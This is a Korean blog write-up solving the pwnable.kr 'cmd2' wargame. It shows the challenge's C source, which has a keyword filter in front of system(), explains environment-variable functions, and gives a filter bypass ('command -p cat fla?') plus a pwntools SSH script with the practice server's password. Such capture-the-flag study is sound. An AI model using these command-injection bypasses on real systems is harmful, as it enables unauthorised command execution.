일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 메소드
- htmlspecialchars
- sql injection
- 함수
- xss game 풀이
- jQuery
- Pwndbg
- 사칙연산
- xss game
- window
- object
- 객체
- burp suite
- 배열
- 포인터
- 조건문
- python
- suninatas 풀이
- document
- 백준 알고리즘
- 자바스크립트
- property
- IF문
- element 조회
- 백준 파이썬
- 김성엽 대표님
- blind sql injection
- 파이썬
- github
- lord of sql injection
- Today
- Total
power-girl0-0
[pwnable] cmd2 풀이 본문
안녕하십니까!!! ( ͡~ ͜ʖ ͡°)
1. 문제
이번 문제에서도 cmd2 바이너리 파일과 cmd2의 c코드가 주어지며, flag 바이너리가 존재한다.
cmd2의 c코드는 아래와 같다.
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
2. 풀기 전, 알고가기!
① 환경변수
- 현재 사용하는 쉘의 실행파일에 대한 위치를 저장하는 변수이다.
- 변수명과 값으로 구성되어 있다.
- 리눅스의 환경변수 설정에 관해, 잘 나와 있는 페이지 : https://wikidocs.net/72712
② strstr(찾을 대상, 찾고자 하는 문자열)
- 문자열을 찾는 함수이다.
- 찾고자 하는 문자열이 찾을 대상에 존재하는지 찾아주는 함수이다.
- 문자열이 존재하면 위치를 반환하고, 없으면 NULL값을 반환한다.
③ extern char** environ
- 환경변수 목록을 갖고 있는 전역변수이다.
- environ은 C언어에 만들어져 있는 전역변수이다.
④ getenv
- 매개변수 값과 일치하는 환경변수의 name이 갖고 있는 value를 가져오는 함수이다.
- 리턴값 : 실행이 성공하면 내용에 대한 포인터를 반환하고, 실패 시 NULL을 반환한다.
⑤ putenv
- name=value 형식으로, 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.
- 환경변수가 존재하면 매개변수 값에 따라 환경변수가 변경되고,
존재하지 않으면 매개변수 값이 새로운 환경변수가 된다.
- 리턴값 : 실행이 성공하면 0을 반환하고, 오류가 발생하면 -1 을 반환한다.
⑥ setenv
- name과 value를 별도로 취한다.
- 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.
⑦ putenv와 setenv 차이점
- putenv 문제점 : 인자로 받은 값에 대한 포인터를 환경변수로 설정한다.
즉, 자동변수 경우 해당 함수가 끝나면 메모리가 해제되면서 환경변수는 쓰레기 값을 갖게 되어 버린다.
- putenv 해결점 : 1> 동적할당(malloc)을 사용한다. 2> setenv를 사용한다.
- setenv가 해결방안인 이유 : 인자로 받은 값을 복사하여, 환경변수로 설정한다.
⑧ Bash 내장 명령어
- 참고 : https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html
3. 풀이 및 flag획득.
① command -p
옵션에서 -p는 PATH 의 기본값을 사용할 수 있게 된다.
즉, cat명령어를 /bin/cat과 같이 경로를 작성하지 않아도 사용할 수 있다는 의미이다.
② set -s
set 명령어는 사용자 환경 변수 설정 및 조회가 가능하다.
( 참고 : https://wikidocs.net/72712 )
③ read
리눅스 명령어 중 read는 특정 변수에 사용자가 입력한 값을 기억시킬 수 있다.
그래서, 스크립트 파일을 만들면 사용자로부터 값을 입력받아서 변수에 설정하고 필요할 때 해당 값을 사용할 수 있다.
참고로 인자 값을 줄 때, 작은따옴표(')는 꼭 들어가야 한다.
작은 따옴표가 없으면 코드가 실행되기 때문에,
작은따옴표(')를 사용해서 문자열로 인식하게 하고 system함수를 통해, 실행시키면 되는 것이다.
(참고 : https://youtu.be/6os_UHBI2ps )
4. pwntool을 이용하여, flag획득
from pwn import *
p = ssh("cmd2","pwnable.kr",port=2222, password="mommy now I get what PATH environment i
s for :)")
file = b'./cmd2'
arg = 'command -p cat fla?'
p1 = p.process([file, arg])
p1.interactive()
안녕히계십쇼!! (〃` 3′〃)
'War game > pwnable.kr' 카테고리의 다른 글
[pwnable] blackjack 풀이 (0) | 2022.03.16 |
---|---|
[pwnable] coin1 풀이 (0) | 2022.03.11 |
[pwnable] cmd1 풀이 (0) | 2022.02.20 |
[pwnable] mistake 풀이 (0) | 2022.02.16 |
[pwnable] random 풀이 (0) | 2022.02.13 |